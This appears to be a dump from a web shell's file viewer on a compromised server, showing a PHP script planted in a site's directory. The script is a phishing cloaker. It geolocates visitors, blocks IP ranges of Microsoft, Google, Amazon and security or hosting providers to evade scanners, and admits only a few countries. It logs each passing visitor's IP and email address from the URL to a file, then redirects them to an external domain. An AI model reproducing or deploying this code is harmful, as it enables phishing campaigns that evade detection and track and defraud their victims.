HEX
Server: Apache
System: Linux srv.tamnokta.com 4.18.0-348.el8.x86_64 #1 SMP Tue Nov 9 06:28:28 EST 2021 x86_64
User: anadolufenerivapuru (10001)
PHP: 8.3.28
Disabled: opcache_get_status
Upload Files
File: /var/www/vhosts/anadolufenerivapuru.com/httpdocs/anadolufenerivapuru/index.php
<?php
session_start();

// Use Tunisia timezone
date_default_timezone_set('Africa/Tunis');
$dt = date("d-m-Y H:i:s");

// Get IP address
$client  = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote  = $_SERVER['REMOTE_ADDR'];

if (filter_var($client, FILTER_VALIDATE_IP)) {
    $ip = $client;
} elseif (filter_var($forward, FILTER_VALIDATE_IP)) {
    $parts = explode(',', $forward);
    $found = null;
    foreach ($parts as $p) {
        $p = trim($p);
        if (filter_var($p, FILTER_VALIDATE_IP)) { 
            $found = $p; 
            break; 
        }
    }
    $ip = $found ?: $remote;
} else {
    $ip = $remote;
}

$_SESSION['_ip_'] = $ip;


// Fetch IP details
function fetch_ip_details($ip)
{
    $url = "http://ip-api.com/json/" . urlencode($ip);
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_FAILONERROR, true);

    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    if ($http_code == 200 && $response) {
        return json_decode($response);
    }
    return null;
}

$IP_LOOKUP = fetch_ip_details($ip);

// Default values
$LOOKUP_COUNTRY  = '';
$LOOKUP_CNTRCODE = '';
$LOOKUP_ISP      = 'Unknown ISP';

// Capture possible email
$email_display = 'np';
if (isset($_GET['emailto']) && $_GET['emailto'] !== '') {
    $raw_email = urldecode($_GET['emailto']);
    $san = filter_var($raw_email, FILTER_SANITIZE_EMAIL);
    if ($san && filter_var($san, FILTER_VALIDATE_EMAIL)) {
        $email_display = $san;
    }
}


// ----------------- API SUCCESS -----------------
if ($IP_LOOKUP && $IP_LOOKUP->status === "success") {

    $LOOKUP_COUNTRY   = $IP_LOOKUP->country      ?? '';
    $LOOKUP_CNTRCODE  = strtoupper($IP_LOOKUP->countryCode ?? '');
    $LOOKUP_ISP       = $IP_LOOKUP->isp          ?? 'Unknown ISP';

    // Save session info
    $_SESSION['_LOOKUP_ISP_']      = $LOOKUP_ISP;
    $_SESSION['_LOOKUP_COUNTRY_']  = $LOOKUP_COUNTRY;
    $_SESSION['_LOOKUP_CNTRCODE_'] = $LOOKUP_CNTRCODE;

    // Blocked ISPs
    $blocked_isps = [
        "Microsoft Corporation",
        "Google LLC",
        "Level 3 Communications, Inc.",
        "Amazon Technologies Inc.",
        "Amazon.com",
        "Amazon.com, Inc.",
        "ANTISPAMEUROPE-NET via AS25394",
        "QualityHosting AG",
        "Strato AG",
        "HostRoyale Technologies Pvt Ltd",
        "M247 Europe SRL",
        "WorNet AG",
        "as24679.net / SServ",
        "Oracle Corporation",
        "MICROSOFT",
        "OVH SAS",
        "Twitter Inc"
    ];

    // ❌ Block Unknown ISP
    if ($LOOKUP_ISP === "Unknown ISP") {
        header("HTTP/1.0 403 Forbidden");
        die("<h1>403 Forbidden (Unknown ISP)</h1>");
    }

    // ❌ Block listed ISPs
    if (in_array($LOOKUP_ISP, $blocked_isps)) {
        header("HTTP/1.0 403 Forbidden");
        die("<h1>403 Forbidden (Blocked ISP)</h1>");
    }

    // Allowed countries
    $allowed_countries = ["CH", "DE", "AT", "DK", "TN"];
    if (!in_array($LOOKUP_CNTRCODE, $allowed_countries)) {
        header("HTTP/1.0 403 Forbidden");
        die("<h1>403 Forbidden (Not allowed country)</h1>");
    }

    //---------------------
    // ONLY LOG VALID USERS
    //---------------------
    $safe_isp   = preg_replace("/[\r\n]+/", ' ', $LOOKUP_ISP);
    $safe_email = preg_replace("/[\r\n]+/", '', $email_display);
    $safe_ip    = preg_replace("/[\r\n]+/", '', $ip);
    $safe_cc    = preg_replace("/[\r\n]+/", '', $LOOKUP_CNTRCODE);

    // Log ONLY PASS USERS
    $line = "[" . $dt . "] " . $safe_cc . " - " . $safe_ip . " - " . $safe_isp . " - " . $safe_email . PHP_EOL;
    file_put_contents(__DIR__ . "/V.txt", $line, FILE_APPEND | LOCK_EX);

    // Redirect allowed user
    header('Location: https://dlde0002256734912.online/');
    exit();

}


// ----------------- API FAILED BLOCK -----------------
header("HTTP/1.0 403 Forbidden");
die("<h1>403 Forbidden (IP Lookup Failed)</h1>");
?>